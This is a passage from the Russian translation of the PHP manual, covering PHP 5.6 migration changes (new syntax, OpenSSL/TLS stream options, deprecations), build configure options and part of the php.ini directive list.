const ARR = ['a', 'b'];

echo ARR[0];
?>

Результат выполнения приведённого примера:

a

Функции с переменным количеством аргументов, используя синтаксис ...

Функции с переменным количеством аргументов теперь можно реализовывать с использованием оператора ... вместо того, чтобы полагаться на func_get_args().

<?php
function f($req, $opt = null, ...$params) {
// $params - массив, содержащий все остальные аргументы.
printf('$req: %d; $opt: %d; количество параметров: %d'."\n",
$req, $opt, count($params));
}

f(1);
f(1, 2);
f(1, 2, 3);
f(1, 2, 3, 4);
f(1, 2, 3, 4, 5);
?>

Результат выполнения приведённого примера:

$req: 1; $opt: 0; количество параметров: 0
$req: 1; $opt: 2; количество параметров: 0
$req: 1; $opt: 2; количество параметров: 1
$req: 1; $opt: 2; количество параметров: 2
$req: 1; $opt: 2; количество параметров: 3

Распаковка аргументов с помощью ...

Массивы и объекты, реализующие интерфейс Traversable, могут быть распакованы в список аргументов при передаче в функцию с помощью оператора ....

<?php
function add($a, $b, $c) {
return $a + $b + $c;
}

$operators = [2, 3];
echo add(1, ...$operators);
?>

Результат выполнения приведённого примера:

6

Возведение в степень с помощью **

Добавлен право-ассоциативный оператор **, обозначающий возведение в степень. Также доступен короткий синтаксис **=.

<?php
printf("2 ** 3 == %d\n", 2 ** 3);
printf("2 ** 3 ** 2 == %d\n", 2 ** 3 ** 2);

$a = 2;
$a **= 3;
printf("a == %d\n", $a);
?>

Результат выполнения приведённого примера:

2 ** 3 ==      8
2 ** 3 ** 2 == 512
a ==           8

use function и use const

Оператор use был расширен для поддержки импорта функций и констант в дополнение к классам. Это достигается с помощью конструкций use function и use const, соответственно.

<?php
namespace Name\Space {
const FOO = 42;
function f() { echo __FUNCTION__."\n"; }
}

namespace {
use const Name\Space\FOO;
use function Name\Space\f;

echo FOO."\n";
f();
}
?>

Результат выполнения приведённого примера:

42
Name\Space\f

phpdbg

Теперь PHP содержит интерактивный дебаггер, называющийся "phpdbg" и реализованный как модуль SAPI. Подробности смотрите в документации phpdbg.

Кодировка по умолчанию

Добавлен ini-параметр default_charset, в котором можно указать кодировку по умолчанию для использования в функциях htmlentities(), html_entity_decode() и htmlspecialchars(). Обратите внимание, что если (сейчас считается устаревшим) заданы параметры кодировки iconv и mbstring, они будут иметь преимущество перед default_charset для iconv и mbstring.

Значение этой настройки по умолчанию равно UTF-8.

Переиспользование php://input

php://input теперь можно переоткрывать и считывать столько раз, сколько нужно. Это также привело к значительному уменьшению объёма памяти, необходимой для работы с данными POST.

Загрузка больших файлов

Теперь можно загружать файлы размером более 2ГБ.

GMP поддерживает перегрузку операторов

Объекты GMP теперь поддерживают перегрузку операторов и приведение к скалярным типам. Это позволяет использовать GMP в вашем коде более выразительно:

<?php
$a = gmp_init(42);
$b = gmp_init(17);

if (version_compare(PHP_VERSION, '5.6', '<')) {
echo gmp_intval(gmp_add($a, $b)), PHP_EOL;
echo gmp_intval(gmp_add($a, 17)), PHP_EOL;
echo gmp_intval(gmp_add(42, $b)), PHP_EOL;
} else {
echo $a + $b, PHP_EOL;
echo $a + 17, PHP_EOL;
echo 42 + $b, PHP_EOL;
}
?>

Результат выполнения приведённого примера:

59
59
59

hash_equals() для предотвращения атак по времени при сравнении строк

Была добавлена функция hash_equals() для сравнения двух строк за постоянное время. Это должно помочь избежать атак по времени; например, во время тестирования хеширования паролей функцией crypt() (при условии, что вы не можете использовать password_hash() и password_verify(), которые не подвержены атакам по времени).

<?php
$expected = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('1234', '$2a$07$usesomesillystringforsalt$');

var_dump(hash_equals($expected, $correct));
var_dump(hash_equals($expected, $incorrect));
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

__debugInfo()

Был добавлен магический метод __debugInfo() для того, чтобы позволить объекту изменять значения свойств, выводимых при использовании var_dump().

<?php
class C {
private $prop;

public function __construct($val) {
$this->prop = $val;
}

public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}
}

var_dump(new C(42));
?>

Результат выполнения приведённого примера:

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

Алгоритм хеширования gost-crypto

Добавлен алгоритм хеширования gost-crypto. Он реализует функцию хеширования GOST, используемую в таблицах CryptoPro S-box, определённых в » RFC 4357, секция 11.2.

Улучшение SSL/TLS

Очень многое было сделано для улучшения поддержки SSL/TLS в PHP 5.6. Включая разрешение проверки пиров по умолчанию, поддержка сверки отпечатков сертификатов, снижение воздействия атаки пересоединения TLS и множества новых опций контекста SSL для более точного контроля над параметрами протокола и проверок при использовании зашифрованных потоков.

Более подробно все эти изменения описаны в разделе этого руководства Изменения OpenSSL в PHP 5.6.x

Поддержка асинхронности pgsql

Модуль pgsql теперь поддерживает асинхронные соединения и запросы, тем самым разрешая неблокирующее взаимодействие с базами данных PostgreSQL. Асинхронные соединения могут быть установлены с помощью константы PGSQL_CONNECT_ASYNC, и новые функции pg_connect_poll(), pg_socket(), pg_consume_input() и pg_flush() могут быть использованы для обработки асинхронных соединений и запросов.

User Contributed Notes

There are no user contributed notes for this page.


Функционал, объявленный устаревшим в PHP 5.6.x

Вызовы из несовместимого контекста

Методы, вызываемые из несовместимого контекста объявлены устаревшими и будут вызывать ошибку уровня E_DEPRECATED вместо E_STRICT. В будущих версиях PHP поддержка этих вызовов будет удалена.

Примером такого вызова является:

<?php
class A {
function f() { echo get_class($this); }
}

class B {
function f() { A::f(); }
}

(new B)->f();
?>

Результат выполнения приведённого примера:

Deprecated: Non-static method A::f() should not be called statically, assuming $this from incompatible context in - on line 7
B

$HTTP_RAW_POST_DATA и always_populate_raw_post_data

always_populate_raw_post_data теперь будет вызывать ошибку E_DEPRECATED, если $HTTP_RAW_POST_DATA заполнен. Новый код должен использовать php://input вместо $HTTP_RAW_POST_DATA, который будет удалён в будущих версиях PHP. Вы можете выбрать новое поведение (в котором $HTTP_RAW_POST_DATA никогда не определяется, следовательно, E_DEPRECATED не будет генерировать ошибку) путём установки always_populate_raw_post_data в -1.

Настройки кодирования iconv и mbstring

Параметры конфигурации iconv и mbstring, связанные с кодированием, устарели в пользу default_charset. Устаревшие опции:

  • iconv.input_encoding
  • iconv.output_encoding
  • iconv.internal_encoding
  • mbstring.http_input
  • mbstring.http_output
  • mbstring.internal_encoding

User Contributed Notes

There are no user contributed notes for this page.


Изменённые функции

Ядро PHP

  • crypt() теперь генерирует предупреждение E_NOTICE, если параметр salt опущен.
  • substr_compare() теперь принимает 0 в качестве значения параметра length.
  • unserialize() теперь терпит неудачу, если переданы сериализованные данные, которые были изменены в попытке инстанциировать объект без вызова его конструктора.

cURL

  • Загрузка на сервер с использованием синтаксиса @file теперь поддерживается, только если опция CURLOPT_SAFE_UPLOAD установлена в false. Вместо этого следует пользоваться CURLFile .

Mcrypt

  • Параметр source функции mcrypt_create_iv() теперь имеет значение по умолчанию MCRYPT_DEV_URANDOM вместо MCRYPT_DEV_RANDOM.

OpenSSL

  • stream_socket_enable_crypto() теперь позволяет не указывать параметр crypto_type, если контекст потока SSL включает новую опцию crypto_type.

PostgreSQL

  • pg_insert(), pg_select(), pg_update() и pg_delete() больше не являются экспериментальными.
  • pg_send_execute(),
pg_send_prepare(), pg_send_query()
и pg_send_query_params() больше не блокируются до
завершения записи запроса, если нижележащий поток сокета для соединения с базой
данных находится в неблокирующем режиме.

Reflection

  • ReflectionClass::newInstanceWithoutConstructor() теперь позволяет создавать экземпляры из неокончательных (non-final) внутренних классов.

XMLReader

  • XMLReader::getAttributeNs() и XMLReader::getAttributeNo() теперь возвращают null, если атрибут не может быть найден, как это делает XMLReader::getAttribute().

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

Дата и время

  • DateTimeImmutable::createFromMutable()

GMP

  • gmp_root()
  • gmp_rootrem()

Hash

  • hash_equals()

LDAP

  • ldap_escape()
  • ldap_modify_batch()

MySQLi

  • mysqli_get_links_stats()

OCI8

  • oci_get_implicit_resultset()

OpenSSL

  • openssl_get_cert_locations()
  • openssl_x509_fingerprint()
  • openssl_spki_new()
  • openssl_spki_verify()
  • openssl_spki_export_challenge()
  • openssl_spki_export()

PostgreSQL

  • pg_connect_poll()
  • pg_consume_input()
  • pg_flush()
  • pg_socket()

PDO_PGSQL

  • PDO::pgsqlGetNotify()
  • PDO::pgsqlGetPid()

Управление сессиями

  • session_abort()
  • session_reset()

Zip

  • ZipArchive::setPassword()

User Contributed Notes

There are no user contributed notes for this page.


Изменения OpenSSL в PHP 5.6.x

Обёртки потоков теперь по умолчанию проверяют сертификаты узлов и имена хостов при использовании SSL/TLS

Все шифруемые клиентские потоки теперь по умолчанию включают проверку пиров. По умолчанию сертификат пира проверяется пакетом OpenSSL CA. Обычно не нужно ничего делать для соединения с серверами с правильным SSL-сертификатом, так как OpenSSL настроен так, что уже работает с хорошими CA-пакетами.

Стандартный CA пакет может быть переопределён глобально с помощью установки или openssl.cafile или openssl.capath строк конфигурации, или же на уровне каждого запроса используя опции контекста cafile или capath.

Хотя это и не рекомендуется, но можно отключить проверку сертификата пира для запроса, установив verify_peer опцию контекста в false, и можно отключить проверку имени пира, установив verify_peer_name в false.

Сигнатура сертификата

Была добавлена поддержка извлечения и проверки сигнатуры сертификата. Для извлечения сигнатур сертификатов X.509 добавлена функция openssl_x509_fingerprint(). Также были добавлены две опции контекста потока SSL: capture_peer_cert для захвата узлового сертификата X.509, и peer_fingerprint для проверки сертификата на соответствие заданной сигнатуре.

Обновлены шифры по умолчанию

Список шифров по умолчанию, используемых PHP, был обновлён на более безопасный в соответствии с » рекомендациями по шифрам от Mozilla, с двумя дополнительными исключениями: анонимные шифры Диффи-Хеллмана и RC4.

Этот список доступен через новую константу OPENSSL_DEFAULT_STREAM_CIPHERS, и может быть переопределён (как и в предыдущих версиях PHP) установкой опцией контекста ciphers.

Сжатие запрещено по умолчанию

Сжатие SSL/TLS было запрещено по умолчанию для compression уменьшения вероятности атаки типа CRIME. В PHP 5.4.13 была добавлена опция контекста disable_compression для возможности запретить компрессию и теперь она по умолчанию установлена как true (то есть компрессия запрещена).

Разрешение серверу определять свой собственный порядок шифров

Была добавлена опция контекста honor_cipher_order, которая позволяет серверу обслуживающему зашифрованный поток самому определять шифры, которыми будет пользоваться клиент. Это позволить снизить риск атаки типа BEAST.

Доступ к согласованному протоколу и шифру

Протокол и шифр, согласованные для шифрованного потока, доступны с помощью функций stream_get_meta_data() или stream_context_get_options(), если опция контекста SSL capture_session_meta установлена как true.

<?php
$ctx = stream_context_create(['ssl' => [
'capture_session_meta' => TRUE
]]);

$html = file_get_contents('https://google.com/', FALSE, $ctx);
$meta = stream_context_get_options($ctx)['ssl']['session_meta'];
var_dump($meta);
?>

Результат выполнения приведённого примера:

array(4) {
  ["protocol"]=>
  string(5) "TLSv1"
  ["cipher_name"]=>
  string(20) "ECDHE-RSA-AES128-SHA"
  ["cipher_bits"]=>
  int(128)
  ["cipher_version"]=>
  string(11) "TLSv1/SSLv3"
}

Новые возможности для совершенной прямой секретности (PFS) для серверов, обслуживающих шифрованные потоки

Шифрованные потоки клиента уже поддерживают совершенную прямую секретность, поскольку она, как правило, контролируется сервером. Серверы PHP, обслуживающие шифрованные потоки, использующие сертификаты поддерживающие совершенную прямую секретность не нуждаются в каких либо дополнительных действиях для включения PFS; однако, было добавлено некоторое количество новых опций контекста SSL для более точного контроля над PFS и для решения возможных проблем.

ecdh_curve

Эта опция позволяет выбрать кривую для использования в шифрах ECDH. Если не задано, то будет использоваться prime256v1.

dh_param

Путь к файлу, содержащему параметры для обмена ключами Диффи-Хеллмана, созданного, например, с помощью такой команды:

openssl dhparam -out /path/to/my/certs/dh-2048.pem 2048
single_dh_use

Если установлено как true, новая пара ключей будет создана, используя параметры Диффи-Хеллмана, тем самым улучшая прямую секретность.

single_ecdh_use

Если установлено как true, новая пара ключей будет генерироваться всегда, при согласовании шифра ECDH. Это улучшает прямую секретность.

Выбор версии SSL/TLS

Теперь возможно выбирать конкретную версию SSL и TLS с помощью опции контекста crypto_method или указывая конкретный транспорт при создании обёртки потока (например с помощью вызова stream_socket_client() или stream_socket_server()).

Опция контекста SSL crypto_method принимает битовую маску, перечисляющую допустимые протоколы, также как это задаётся в параметре crypto_type функции stream_socket_enable_crypto().

Выбранная версия протокола и соответствующие опции
Протокол | Флаг клиента | Флаг сервера | Транспорт
Любые версии TLS или SSL | STREAM_CRYPTO_METHOD_ANY_CLIENT | STREAM_CRYPTO_METHOD_ANY_SERVER | ssl://
Любая версия TLS | STREAM_CRYPTO_METHOD_TLS_CLIENT | STREAM_CRYPTO_METHOD_TLS_SERVER | tls://
TLS 1.0 | STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_0_SERVER | tlsv1.0://
TLS 1.1 | STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_1_SERVER | tlsv1.1://
TLS 1.2 | STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_2_SERVER | tlsv1.2://
SSL 3 | STREAM_CRYPTO_METHOD_SSLv3_CLIENT | STREAM_CRYPTO_METHOD_SSLv3_SERVER | sslv3://
<?php

// Требуется TLS 1.0 или выше для использования file_get_contents():
$ctx = stream_context_create([
'ssl' => [
'crypto_method' => STREAM_CRYPTO_METHOD_TLS_CLIENT,
],
]);
$html = file_get_contents('https://google.com/', false, $ctx);

// Требуется TLS 1.1 или 1.2:
$ctx = stream_context_create([
'ssl' => [
'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT |
STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT,
],
]);
$html = file_get_contents('https://google.com/', false, $ctx);

// Соединяемся с использованием транспорта потокового сокета tlsv1.2://
$sock = stream_socket_client('tlsv1.2://google.com:443/');

?>

Добавлена функция openssl_get_cert_locations()

Была добавлена функция openssl_get_cert_locations(): она возвращает расположения, в которых PHP будет искать пакеты CA по умолчанию.

<?php
var_dump(openssl_get_cert_locations());
?>

Результат выполнения приведённого примера:

array(8) {
  ["default_cert_file"]=>
  string(21) "/etc/pki/tls/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/etc/pki/tls/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/etc/pki/tls/private"
  ["default_default_cert_area"]=>
  string(12) "/etc/pki/tls"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

Поддержка SPKI

Была добавлена поддержка для создания, извлечения и проверки подписанных публичных ключей и опознавательных строк (SPKAC). Были добавлены функции openssl_spki_new(), openssl_spki_verify(), openssl_spki_export_challenge() и openssl_spki_export() для создания, проверки экспорта PEM публичных ключей и соответствующих опознавательных строк из SPKAC, созданных из элементов HTML5 KeyGen.

openssl_spki_new

Генерация нового SPKAC с использованием приватного ключа, опознавательной строки и алгоритма хеширования.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
?>

Результат выполнения приведённого примера:

SPKAC=MIIBXjCByDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3L0IfUijj7+A8CPC8EmhcdNoe5fUAog7OrBdhn7EkxFButUp40P7+LiYiygYG1TmoI/a5EgsLU3s9twEz3hmgY9mYIqb/rb+SF8qlD/K6KVyUORC7Wlz1Df4L8O3DuRGzx6/+3jIW6cPBpfgH1sVuYS1vDBsP/gMMIxwTsKJ4P0CAwEAARYkYjViMzYxMTktNjY5YS00ZDljLWEyYzctMGZjNGFhMjVlMmE2MA0GCSqGSIb3DQEBAwUAA4GBAF7hu0ifzmjonhAak2FhhBRsKFDzXdKIkrWxVNe8e0bZzMrWOxFM/rqBgeH3/gtOUDRS5Fnzyq425UsTYbjfiKzxGeCYCQJb1KJ2V5Ij/mIJHZr53WYEXHQTNMGR8RPm7IxwVXVSHIgAfXsXZ9IXNbFbcaLRiSTr9/N4U+MXUWL7
openssl_spki_verify

Проверка предоставленного SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
var_dump(openssl_spki_verify($spkac));
?>
openssl_spki_export_challenge

Экспорт связанной опознавательной строки из предоставленного SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge($spkac);
echo $challenge;
?>

Результат выполнения приведённого примера:

challenge string
openssl_spki_export

Экспорт публичного ключа (PEM) RSA в формате из SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
echo openssl_spki_export($spkac);
?>

Результат выполнения приведённого примера:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcvQh9SKOPv4DwI8LwSaFx02h7
l9QCiDs6sF2GfsSTEUG61SnjQ/v4uJiLKBgbVOagj9rkSCwtTez23ATPeGaBj2Zg
ipv+tv5IXyqUP8ropXJQ5ELtbXPUN/gvw7cO5EbPHr/7eMhbpw8Gl+AfWxW5hLW8
MGw/+AwwjHBOwong/QIDAQAB
-----END PUBLIC KEY-----

User Contributed Notes

There are no user contributed notes for this page.


Другие изменения в модулях

cURL

Ряд констант, помеченные как устаревшие в библиотеке cURL, теперь будут удалены:

  • CURLOPT_CLOSEPOLICY
  • CURLCLOSEPOLICY_CALLBACK
  • CURLCLOSEPOLICY_LEAST_RECENTLY_USED
  • CURLCLOSEPOLICY_LEAST_TRAFFIC
  • CURLCLOSEPOLICY_OLDEST
  • CURLCLOSEPOLICY_SLOWEST

OCI8

  • Поддержка неявных наборов результатов для Oracle Database 12c была добавлена с помощью новой функции oci_get_implicit_resultset().
  • С помощью oci_execute($s, OCI_NO_AUTO_COMMIT), для SELECT больше необязательно инициировать внутренний ROLLBACK во время закрытия соединения.
  • Добавлены зонды DTrace, контролируемые с помощью опции конфигурации --enable-dtrace.
  • oci_internal_debug() теперь ничего не делает.
  • Формат вывода функции phpinfo() для OCI8 изменился.

Zip

Добавлена опция конфигурации --with-libzip, для использования системной библиотеки libzip. Требуется как минимум libzip версии 0.11, рекомендуется 0.11.2 или более поздняя.

MySQLi

Была добавлена опция mysqli.rollback_on_cached_plink, которая управляет поведением отката постоянных соединений.

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

GD

  • IMG_WEBP (с PHP 5.6.25)

LDAP

  • LDAP_ESCAPE_DN
  • LDAP_ESCAPE_FILTER

OpenSSL

  • OPENSSL_DEFAULT_STREAM_CIPHERS
  • STREAM_CRYPTO_METHOD_ANY_CLIENT
  • STREAM_CRYPTO_METHOD_ANY_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_0_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_1_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

PostgreSQL

  • PGSQL_CONNECT_ASYNC
  • PGSQL_CONNECTION_AUTH_OK
  • PGSQL_CONNECTION_AWAITING_RESPONSE
  • PGSQL_CONNECTION_MADE
  • PGSQL_CONNECTION_SETENV
  • PGSQL_CONNECTION_SSL_STARTUP
  • PGSQL_CONNECTION_STARTED
  • PGSQL_DML_ESCAPE
  • PGSQL_POLLING_ACTIVE
  • PGSQL_POLLING_FAILED
  • PGSQL_POLLING_OK
  • PGSQL_POLLING_READING
  • PGSQL_POLLING_WRITING

User Contributed Notes

There are no user contributed notes for this page.


Отладка в PHP

Содержание

  • Об отладке в PHP

User Contributed Notes

Fonstw 26-Feb-2020 08:54
For me, just outputting variables only works when I know a method should be broken.

I use Xdebug in PHP Storm (available on other IDE's and editors as well)
It allows me to use line breaks and fully inspect anything that's set and how their values are changed and allows me to call single method even at (paused) runtime to see what behaviour the method really gives at any given point, which gives me a much better insight on how my code works and how to get it to work like it should.

I wholeheartedly recomend anyone to try a fuller-fledged debugger like that!


Об отладке в PHP

PHP поставляется с базовым интерактивным отладчиком командной строки phpdbg.

В большинстве IDE есть поддержка » Xdebug, бесплатного инструмента отладки, который позволяет выполнять отладку PHP-приложений в один шаг.

User Contributed Notes

There are no user contributed notes for this page.


Опции конфигурации

Содержание

  • Список основных опций конфигурации

User Contributed Notes

There are no user contributed notes for this page.


Список основных опций конфигурации

Ниже приведён частичный список опций конфигурации, используемых скриптами configure при компиляции в Unix-подобных окружениях. Большинство опций конфигурации приведено в соответствующих местах на страницах с описанием модулей, а не здесь. Чтобы получить полный актуальный список опций конфигурации, запустите ./configure --help в каталоге исходного кода PHP после запуска команды autoconf (смотрите также раздел установки PHP). Вам также может быть интересно почитать документацию команды » GNU configure для получения информации о дополнительных опциях команды configure, таких, как --prefix=PREFIX.

Замечание:

Эти настройки используются только во время компиляции. Если вы хотите изменить конфигурацию PHP во время выполнения, пожалуйста смотрите главу Конфигурация во время выполнения.

  • Разное
  • Поведение PHP
  • Сервер

Опции конфигурации в PHP

Различные опции

--enable-debug

Компилировать с информацией об отладке.

--with-layout=TYPE

Устанавливает, каким образом установленные файлы будут расположены. TYPE принимает значения PHP (по умолчанию) или GNU. Обратите внимание, что при установке manpages под PREFIX (по умолчанию) следует выбрать стиль GNU, чтобы они были найдены в пути поиска утилиты manpath.

--with-pear=DIR

Установить PEAR в директорию DIR (по умолчанию PREFIX/lib/php).

--without-pear

Не устанавливать PEAR.

--enable-sigchild

Включить собственный дескриптор SIGCHLD для PHP.

--disable-rpath

Не передавать дополнительные пути для поиска библиотек времени исполнения.

--enable-libgcc

Явно использовать libgcc.

--enable-php-streams

Включить экспериментальную функциональность потоков PHP. Используйте только в случае, если вы тестируете код!

--with-zlib-dir[=DIR]

Определить местонахождение библиотеки zlib.

--with-tsrm-pthreads

Использовать потоки (threads) POSIX (по умолчанию).

--enable-shared[=PKGS]

Собирать общие библиотеки [по умолчанию=yes].

--enable-static[=PKGS]

Собирать статические библиотеки [по умолчанию=yes].

--enable-fast-install[=PKGS]

Оптимизировать для быстрой установки [по умолчанию=yes].

--with-gnu-ld

Предполагать, что компилятор С использует линкер GNU ld [по умолчанию=no].

--disable-libtool-lock

Избегать блокирования (может испортить параллельные сборки).

--with-pic

Пытаться использовать только PIC/не PIC объекты [по умолчанию=use both (использовать оба)]

--enable-versioning

Экспортировать только необходимую информацию для отладки. Смотрите INSTALL для дополнительной информации.

Опции PHP

--enable-maintainer-mode

Включает правила сборки и зависимости make, неиспользуемые (а иногда запутывающие) в обычном установщике.

--with-config-file-path=PATH

Устанавливает путь для поиска php.ini, значение по умолчанию PREFIX/lib.

--disable-short-tags

Запрещает использование краткой формы записи начального тега <? по умолчанию.

--with-libdir

Определяет каталог библиотек для сборки PHP в Unix-системах. Для 64-битных систем опция требует особого аргумента --with-libdir=lib64 для директории lib64.

--enable-zts

Включает безопасность потоков. До версии PHP 8.0.0 на системах, отличных от Windows, эта опция называлась --enable-maintainer-zts.

Опции SAPI

Следующий список включает доступные опции SAPI (Server Application Programming Interface) для PHP.

--with-apxs[=FILE]

Собирает динамический модуль для Apache. FILE — это опциональный путь к инструменту Apache apxs, который используется для apxs по умолчанию. Убедитесь в том, что указали версию apxs, которая действительно установлена в системе, а не ту, которая находится в исходниках Apache.

--with-apache[=DIR]

Собирает статичный модуль для Apache. DIR - это верхний уровень директории сборки Apache, по умолчанию /usr/local/apache.

--with-mod_charset

Включает таблицы перекодировки для модуля mod_charset (для русской версии Apache).

--with-apxs2[=FILE]

Собирает динамический модуль для Apache 2.0. FILE - это опциональный путь к инструменту "Apache apxs", который используется для apxs по умолчанию.

--disable-cli

Отключает сборку CLI-версии PHP (опция также вызывает --without-pear). Больше информации можно получить в разделе Работа с PHP из командной строки.

--enable-phpdbg

Включает поддержку модуля SAPI для интерактивного дебаггера phpdbg.

--enable-embed[=TYPE]

Включает сборку встроенной библиотеки SAPI. TYPE может принимать значение shared или static, по умолчанию установлено shared.

--with-servlet[=DIR]

Включает поддержку сервлетов. DIR - это базовая директория установки JSDK. SAPI требует java-модули, может быть собрана как доступная для dl.

--disable-cgi

Отключает сборку CGI-версии PHP.

Этот аргумент включает FastCGI, который предварительно должен быть включён аргументом --enable-fastcgi.

User Contributed Notes

atesin () gmail ! com 04-Feb-2021 08:55
i'll answer myself (FINALLY!)

current "configure options" can be viewed with "php-config" shell script, aside with other compile time options too =D!!! ...

in some distributions it comes with the "php-devel" package... but until in this online manual "php-config" is mentioned in pecl extensions documentation (i couldn't find on pecl site), idk if that "php-devel" has something to do with this

... however i noticed they are literal strings inside the script, i hope the script itself were built together with php compilation o_O

in the previous page "configure options" (link shown above ^), there is an editor note with additional info about it
atesin () gmail ! com 04-Feb-2021 02:38
please somebody tell me how to display configure options used in php actual binary

it was shown in phpinfo() some years before, it was very useful, specially with 'phpize' recompilation and to enable some pecl/pear module :/

please tell me also which ctriteria had php guys used to suddenly decided to hide (or obfuscate) this info :/

thanks in advance


Директивы php.ini

Содержание

  • Список директив php.ini
  • Список разделов php.ini
  • Описание встроенных директив php.ini

User Contributed Notes

There are no user contributed notes for this page.


Список директив php.ini

Список директив файла php.ini, через которые настраивают PHP.

Столбец «Место изменения» показывает, когда и где разрешено установливать директиву. Информация о значениях этих директив дана в разделе «Места установки параметров конфигурации».

Параметры конфигурации
Имя | По умолчанию | Место изменения | Список изменений
allow_url_fopen | "1" | INI_SYSTEM |
allow_url_include | "0" | INI_SYSTEM | Объявлено устаревшим в PHP 7.4.0.
arg_separator.input | "&" | INI_PERDIR |
arg_separator.output | "&" | INI_ALL |
assert.active | "1" | INI_ALL |
assert.bail | "0" | INI_ALL |
assert.callback | null | INI_ALL |
assert.exception | "0" | INI_ALL |
assert.quiet_eval | "0" | INI_ALL | Удалено в PHP 8.0.0
assert.warning | "1" | INI_ALL |
auto_append_file | null | INI_PERDIR |
auto_detect_line_endings | "0" | INI_ALL |
auto_globals_jit | "1" | INI_PERDIR |
auto_prepend_file | null | INI_PERDIR |
bcmath.scale | "0" | INI_ALL |
browscap | null | INI_SYSTEM |
cgi.check_shebang_line | "1" | INI_SYSTEM |
cgi.discard_path | "0" | INI_SYSTEM |
cgi.fix_pathinfo | "1" | INI_SYSTEM |
cgi.force_redirect | "1" | INI_SYSTEM |
cgi.nph | "0" | INI_ALL |
cgi.redirect_status_env | null | INI_SYSTEM |
cgi.rfc2616_headers | "0" | INI_ALL |
child_terminate | "0" | INI_ALL |
cli.pager | "" | INI_ALL |
cli.prompt | "\\b \\> " | INI_ALL |
cli_server.color | "0" | INI_ALL |
com.allow_dcom | "0" | INI_SYSTEM |
com.autoregister_typelib | "0" | INI_ALL |
com.autoregister_verbose | "0" | INI_ALL |
com.autoregister_casesensitive | "1" | INI_ALL |
com.code_page | "" | INI_ALL |
com.dotnet_version | "" | INI_SYSTEM | Начиная с PHP 8.0.0
com.typelib_file | "" | INI_SYSTEM |
curl.cainfo | NULL | INI_SYSTEM |
date.default_latitude | "31.7667" | INI_ALL |
date.default_longitude | "35.2333" | INI_ALL |
date.sunrise_zenith | "90.833333" | INI_ALL | До PHP 8.0.0 значение по умолчанию было "90.583333".
date.sunset_zenith | "90.833333" | INI_ALL | До PHP 8.0.0 значение по умолчанию было "90.583333".
date.timezone | "UTC" | INI_ALL | Начиная с PHP 8.2, при установке недопустимого значения или пустой строки выдаётся предупреждение.
dba.default_handler | DBA_DEFAULT | INI_ALL |
default_charset | "UTF-8" | INI_ALL | По умолчанию "UTF-8".
input_encoding | "" | INI_ALL |
output_encoding | "" | INI_ALL |
internal_encoding | "" | INI_ALL |
default_mimetype | "text/html" | INI_ALL |
default_socket_timeout | "60" | INI_ALL |
disable_classes | "" | Только php.ini |
disable_functions | "" | Только php.ini |
display_errors | "1" | INI_ALL |
display_startup_errors | "1" | INI_ALL | До PHP 8.0.0 значение по умолчанию было "0".
docref_ext | "" | INI_ALL |
docref_root | "" | INI_ALL |
doc_root | null | INI_SYSTEM |
enable_dl | "1" | INI_SYSTEM | Эта возможность устарела и будет удалена в будущем.
enable_post_data_reading | "On" | INI_PERDIR |
engine | "1" | INI_ALL |
error_append_string | null | INI_ALL |
error_log | null | INI_ALL |
error_log_mode | 0o644 | INI_ALL | Доступно с PHP 8.2.0
error_prepend_string | null | INI_ALL |
error_reporting | null | INI_ALL |
exif.encode_unicode | "ISO-8859-15" | INI_ALL |
exif.decode_unicode_motorola | "UCS-2BE" | INI_ALL |
exif.decode_unicode_intel | "UCS-2LE" | INI_ALL |
exif.encode_jis | "" | INI_ALL |
exif.decode_jis_motorola | "JIS" | INI_ALL |
exif.decode_jis_intel | "JIS" | INI_ALL |
exit_on_timeout | "" | INI_ALL |
expect.timeout | "10" | INI_ALL |
expect.loguser | "1" | INI_ALL |
expect.logfile | "" | INI_ALL |
expect.match_max | "" | INI_ALL |
expose_php | "1" | Только php.ini |
extension | null | Только php.ini |
extension_dir | "/path/to/php" | INI_SYSTEM |
fastcgi.impersonate | "0" | INI_SYSTEM |
fastcgi.logging | "1" | INI_SYSTEM |
file_uploads | "1" | INI_SYSTEM |
filter.default | "unsafe_raw" | INI_PERDIR | Параметр устарел, начиная с PHP 8.1.0.
filter.default_flags | NULL | INI_PERDIR |
from | "" | INI_ALL |
gd.jpeg_ignore_warning | "1" | INI_ALL |
geoip.custom_directory | "" | INI_ALL |
